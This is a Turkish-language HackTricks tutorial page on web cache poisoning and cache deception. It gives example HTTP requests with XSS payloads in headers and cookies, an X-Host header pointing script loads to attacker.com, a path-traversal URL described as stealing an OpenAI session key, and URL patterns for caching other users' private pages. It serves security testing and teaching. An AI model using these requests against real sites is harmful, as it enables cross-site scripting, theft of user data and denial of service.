.. | ||
cache-poisoning-to-dos.md | ||
README.md |
Cache Poisoning and Cache Deception
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @hacktricks_live'da takip edin.
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
![](/Mirrors/hacktricks/media/commit/11e3610ec9be060267cfc7164a958bad5cf7b8ba/.gitbook/assets/image%20%2848%29.png)
Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
Fark
Web cache poisoning ile web cache deception arasındaki fark nedir?
- Web cache poisoning'de, saldırgan uygulamanın önbelleğe bazı kötü niyetli içerikler depolamasını sağlar ve bu içerik, diğer uygulama kullanıcılarına önbellekten sunulur.
- Web cache deception'da, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbelleğe depolamasını sağlar ve ardından bu içeriği önbellekten alır.
Cache Poisoning
Cache poisoning, istemci tarafı önbelleğini manipüle etmeyi amaçlar ve istemcilerin beklenmedik, kısmi veya bir saldırganın kontrolü altındaki kaynakları yüklemelerini zorlar. Etkilerin kapsamı, etkilenen sayfanın popülaritesine bağlıdır; çünkü kirlenmiş yanıt, önbellek kontaminasyonu süresince sayfayı ziyaret eden kullanıcılara özel olarak sunulur.
Cache poisoning saldırısının gerçekleştirilmesi birkaç adım içerir:
- Anahtarsız Girdilerin Belirlenmesi: Bunlar, bir isteğin önbelleğe alınması için gerekli olmasa da, sunucunun döndürdüğü yanıtı değiştirebilen parametrelerdir. Bu girdilerin belirlenmesi, önbelleği manipüle etmek için sömürülebileceğinden kritik öneme sahiptir.
- Anahtarsız Girdilerin Sömürülmesi: Anahtarsız girdiler belirlendikten sonra, bir sonraki adım bu parametreleri saldırganın yararına sunucunun yanıtını değiştirmek için nasıl kötüye kullanacağını bulmaktır.
- Kirlenmiş Yanıtın Önbelleğe Alındığının Garantilenmesi: Son adım, manipüle edilmiş yanıtın önbelleğe kaydedildiğinden emin olmaktır. Bu şekilde, önbellek kirlenmişken etkilenen sayfaya erişen herhangi bir kullanıcı kirlenmiş yanıtı alacaktır.
Keşif: HTTP başlıklarını kontrol et
Genellikle, bir yanıt önbelleğe alındığında bununla ilgili bir başlık olacaktır, hangi başlıklara dikkat etmeniz gerektiğini bu yazıda kontrol edebilirsiniz: HTTP Cache başlıkları.
Keşif: Önbellek hata kodları
Eğer yanıtın bir önbelleğe kaydedildiğini düşünüyorsanız, kötü bir başlıkla istek göndermeyi deneyebilirsiniz; bu, 400 durum kodu ile yanıtlanmalıdır. Ardından isteği normal bir şekilde erişmeye çalışın ve eğer yanıt 400 durum koduysa, bunun zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).
Daha fazla seçenek bulabilirsiniz:
{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}
Ancak, bazen bu tür durum kodlarının önbelleğe alınmadığını unutmayın, bu nedenle bu test güvenilir olmayabilir.
Keşif: Anahtarsız girdileri tanımlayın ve değerlendirin
Param Miner kullanarak sayfanın yanıtını değiştirebilecek parametreleri ve başlıkları kaba kuvvetle deneyebilirsiniz. Örneğin, bir sayfa X-Forwarded-For
başlığını kullanarak istemcinin buradan script yüklemesini belirtiyor olabilir:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Arka uç sunucudan zararlı bir yanıt elde etme
Parametre/başlık belirlendikten sonra, nasıl temizlendiğini ve nerede yansıtıldığını veya başlıktan gelen yanıtı nasıl etkilediğini kontrol edin. Bunu herhangi bir şekilde kötüye kullanabilir misiniz (bir XSS gerçekleştirmek veya sizin kontrolünüzde bir JS kodu yüklemek? bir DoS gerçekleştirmek?...)
Yanıtı önbelleğe al
Kötüye kullanılabilecek sayfayı belirledikten sonra, hangi parametre/başlık kullanılacağını ve nasıl kötüye kullanılacağını belirlemeniz gerekir, sayfanın önbelleğe alınmasını sağlamalısınız. Önbelleğe almak istediğiniz kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye boyunca denemek zorunda kalabilirsiniz.
Yanıt içindeki X-Cache
başlığı, isteğin önbelleğe alınmadığında miss
değerine ve önbelleğe alındığında hit
değerine sahip olabileceğinden çok faydalı olabilir.
Cache-Control
başlığı, bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki ne zaman önbelleğe alınacağını bilmek için de ilginçtir: Cache-Control: public, max-age=1800
Bir diğer ilginç başlık **Vary
**dir. Bu başlık, genellikle önbellek anahtarının bir parçası olarak ele alınan ek başlıkları belirtmek için kullanılır, normalde anahtarsız olsalar bile. Bu nedenle, hedeflediği kurbanın User-Agent
'ını bilen bir kullanıcı, o belirli User-Agent
'ı kullanan kullanıcılar için önbelleği zehirleyebilir.
Önbellek ile ilgili bir başlık daha **Age
**dir. Bu, nesnenin proxy önbelleğinde kaç saniye kaldığını tanımlar.
Bir isteği önbelleğe alırken, kullandığınız başlıklarla dikkatli olun çünkü bunların bazıları beklenmedik şekilde anahtarlı olarak kullanılabilir ve kurbanın o aynı başlığı kullanması gerekecektir. Her zaman farklı tarayıcılarla bir Cache Poisoning testi yapın ve çalışıp çalışmadığını kontrol edin.
Sömürü Örnekleri
En kolay örnek
X-Forwarded-For
gibi bir başlık, yanıt içinde temizlenmeden yansıtılıyor.
Temel bir XSS yükü gönderebilir ve önbelleği zehirleyerek sayfaya erişen herkesin XSS olmasını sağlayabilirsiniz:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Note that this will poison a request to /en?region=uk
not to /en
Cache poisoning to DoS
{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}
Web cache poisoning kullanarak çerez işleme zafiyetlerini istismar etme
Çerezler, bir sayfanın yanıtında da yansıtılabilir. Eğer bunu bir XSS oluşturmak için kötüye kullanabilirseniz, kötü niyetli önbellek yanıtını yükleyen birkaç istemcide XSS'i istismar edebilirsiniz.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Not edin ki, eğer savunmasız çerez kullanıcılar tarafından çok kullanılıyorsa, düzenli istekler önbelleği temizleyecektir.
API anahtarını çalmak için yol geçişi ile önbellek zehirleme
Bu yazı https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
gibi bir URL ile bir OpenAI API anahtarının nasıl çalındığını açıklamaktadır çünkü /share/*
ile eşleşen her şey, Cloudflare URL'yi normalleştirmeden önbelleğe alınacaktır; bu, istek web sunucusuna ulaştığında yapılmıştır.
Web önbellek zehirleme açıklarını istismar etmek için birden fazla başlık kullanma
Bazen bir önbelleği kötüye kullanabilmek için birden fazla anahtarsız girişi istismar etmeniz gerekecektir. Örneğin, X-Forwarded-Host
başlığını sizin kontrolünüzdeki bir alan adına ve X-Forwarded-Scheme
başlığını http
olarak ayarlarsanız bir Açık yönlendirme bulabilirsiniz. Eğer sunucu tüm HTTP isteklerini HTTPS'ye yönlendiriyorsa ve X-Forwarded-Scheme
başlığını yönlendirme için alan adı olarak kullanıyorsa, yönlendirme ile sayfanın nereye işaret ettiğini kontrol edebilirsiniz.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Sınırlı Vary
başlığı ile istismar
Eğer X-Host
başlığının JS kaynağını yüklemek için alan adı olarak kullanıldığını ancak yanıtın Vary
başlığının User-Agent
belirttiğini bulduysanız, o zaman kurbanın User-Agent'ını dışarı sızdırmanın ve bu kullanıcı ajanını kullanarak önbelleği zehirlemenin bir yolunu bulmalısınız:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
URL'deki ve gövdedeki isteği içeren bir GET isteği gönderin. Eğer web sunucusu gövdedekini kullanıyorsa ama önbellek sunucusu URL'dekini önbelleğe alıyorsa, o URL'ye erişen herkes aslında gövdedeki parametreyi kullanacaktır. James Kettle'ın Github web sitesinde bulduğu zafiyet gibi:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parametre Gizleme
Örneğin, ruby sunucularında parametreleri &
yerine ;
karakteri kullanarak ayırmak mümkündür. Bu, anahtarsız parametre değerlerini anahtarlı olanların içine yerleştirmek ve bunları kötüye kullanmak için kullanılabilir.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
HTTP İstemci Kaçırma ile HTTP Cache Poisoning Saldırıları
Cache Poisoning saldırılarını HTTP İstemci Kaçırma ile nasıl gerçekleştireceğinizi burada öğrenin.
Web Cache Poisoning için Otomatik Test
Web Cache Vulnerability Scanner, web cache poisoning için otomatik test yapmak üzere kullanılabilir. Birçok farklı tekniği destekler ve yüksek derecede özelleştirilebilir.
Örnek kullanım: wcvs -u example.com
![](/Mirrors/hacktricks/media/commit/11e3610ec9be060267cfc7164a958bad5cf7b8ba/.gitbook/assets/image%20%2848%29.png)
Dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için Trickest kullanın.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
Açık Örnekler
Apache Traffic Server (CVE-2021-27577)
ATS, URL içindeki parçayı kesmeden iletti ve yalnızca ana bilgisayar, yol ve sorgu kullanarak önbellek anahtarını oluşturdu (parçayı göz ardı ederek). Bu nedenle, /#/../?r=javascript:alert(1)
isteği arka uca /#/../?r=javascript:alert(1)
olarak gönderildi ve önbellek anahtarında yük bulunmadı, yalnızca ana bilgisayar, yol ve sorgu vardı.
GitHub CP-DoS
İçerik türü başlığında kötü bir değer göndermek, 405 önbelleklenmiş yanıtı tetikledi. Önbellek anahtarı çerezi içeriyordu, bu nedenle yalnızca yetkisiz kullanıcıları hedef almak mümkündü.
GitLab + GCP CP-DoS
GitLab, statik içeriği depolamak için GCP bucket'larını kullanır. GCP Bucket'ları, x-http-method-override
başlığını destekler. Bu nedenle, x-http-method-override: HEAD
başlığını göndermek ve önbelleği boş bir yanıt gövdesi döndürmesi için zehirlemek mümkündü. Ayrıca PURGE
yöntemini de destekleyebilir.
Rack Middleware (Ruby on Rails)
Ruby on Rails uygulamalarında, Rack middleware sıklıkla kullanılmaktadır. Rack kodunun amacı, x-forwarded-scheme
başlığının değerini almak ve bunu isteğin şeması olarak ayarlamaktır. x-forwarded-scheme: http
başlığı gönderildiğinde, aynı konuma 301 yönlendirmesi gerçekleşir ve bu, o kaynağa bir Hizmet Reddi (DoS) neden olabilir. Ayrıca, uygulama X-forwarded-host
başlığını tanıyabilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, bir saldırganın sunucusundan JavaScript dosyalarının yüklenmesine yol açarak güvenlik riski oluşturabilir.
403 ve Depolama Bucket'ları
Cloudflare daha önce 403 yanıtlarını önbelleğe alıyordu. Yanlış Yetkilendirme başlıkları ile S3 veya Azure Storage Blobs'a erişmeye çalışmak, önbelleğe alınan bir 403 yanıtı ile sonuçlanıyordu. Cloudflare 403 yanıtlarını önbelleğe almayı durdurmuş olsa da, bu davranış diğer proxy hizmetlerinde hala mevcut olabilir.
Anahtarlı Parametreleri Enjekte Etme
Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde size
parametresini önbelleğe alıyordu. Ancak, parametrenin URL kodlu bir versiyonu (örneğin, siz%65
) hatalı bir değerle gönderildiğinde, önbellek anahtarı doğru size
parametresi kullanılarak oluşturuluyordu. Yine de, arka uç URL kodlu parametredeki değeri işliyordu. İkinci size
parametresinin URL kodlaması, önbellek tarafından atılmasına ancak arka uç tarafından kullanılmasına neden oldu. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Bad Request hatası ile sonuçlandı.
Kullanıcı Aracı Kuralları
Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafikli araçların kullanıcı ajanlarıyla eşleşen istekleri engeller. Ironik bir şekilde, bu yaklaşım önbellek zehirlenmesi ve DoS gibi güvenlik açıklarını ortaya çıkarabilir.
Geçersiz Başlık Alanları
RFC7230, başlık adlarında kabul edilebilir karakterleri belirtir. Belirtilen tchar aralığının dışındaki karakterleri içeren başlıkların, ideal olarak 400 Bad Request yanıtı tetiklemesi gerekir. Pratikte, sunucular her zaman bu standarda uymamaktadır. Önemli bir örnek, geçersiz karakterler içeren başlıkları ileten ve cache-control
başlığı mevcut olmadıkça herhangi bir 400 hatasını önbelleğe alan Akamai'dır. Geçersiz bir karakter içeren bir başlık gönderildiğinde, örneğin \
, önbelleğe alınabilir bir 400 Bad Request hatası ile sonuçlanan bir sömürülebilir desen tespit edilmiştir.
Yeni başlıklar bulma
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
Cache Deception'ın amacı, istemcilerin önbellek tarafından kaydedilecek kaynakları hassas bilgileriyle yüklemelerini sağlamaktır.
Öncelikle, .css, .js, .png gibi uzantıların genellikle önbelleğe kaydedilmek üzere yapılandırıldığını unutmayın. Bu nedenle, www.example.com/profile.php/nonexistent.js
adresine erişirseniz, önbellek muhtemelen yanıtı kaydedecektir çünkü .js
uzantısını görmektedir. Ancak, eğer uygulama, www.example.com/profile.php içinde saklanan hassas kullanıcı içerikleriyle tekrar oynuyorsa, diğer kullanıcılardan bu içerikleri çalmış olursunuz.
Test edilecek diğer şeyler:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Daha az bilinen uzantıları kullanın, örneğin
.avif
Bu yazıda çok net bir örnek bulunabilir: https://hackerone.com/reports/593712.
Örnekte, http://www.example.com/home.php/non-existent.css gibi var olmayan bir sayfayı yüklediğinizde, http://www.example.com/home.php (kullanıcının hassas bilgileriyle) içeriğin döneceği ve önbellek sunucusunun sonucu kaydedeceği açıklanmaktadır.
Daha sonra, saldırgan, kendi tarayıcısında http://www.example.com/home.php/non-existent.css adresine erişebilir ve daha önce erişen kullanıcıların gizli bilgilerini gözlemleyebilir.
Önbellek proxy'sinin, dosyaların uzantısına (css) göre önbelleğe alınacak şekilde yapılandırılması gerektiğini unutmayın ve içerik türüne göre değil. Örneğin, http://www.example.com/home.php/non-existent.css adresinin text/html
içerik türü yerine bir .css dosyası için beklenen text/css
mime türüne sahip olacaktır.
Cache Deceptions saldırılarını HTTP İstemci Kaçırma ile nasıl gerçekleştireceğinizi burada öğrenin.
Otomatik Araçlar
- toxicache: Bir URL listesinde web cache poisoning açıklarını bulmak ve birden fazla enjekte etme tekniğini test etmek için Golang tarayıcısı.
Referanslar
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
![](/Mirrors/hacktricks/media/commit/11e3610ec9be060267cfc7164a958bad5cf7b8ba/.gitbook/assets/image%20%2848%29.png)
Dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için Trickest kullanın.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live bizi takip edin.**
- HackTricks ve HackTricks Cloud github reposuna PR göndererek hacking ipuçlarını paylaşın.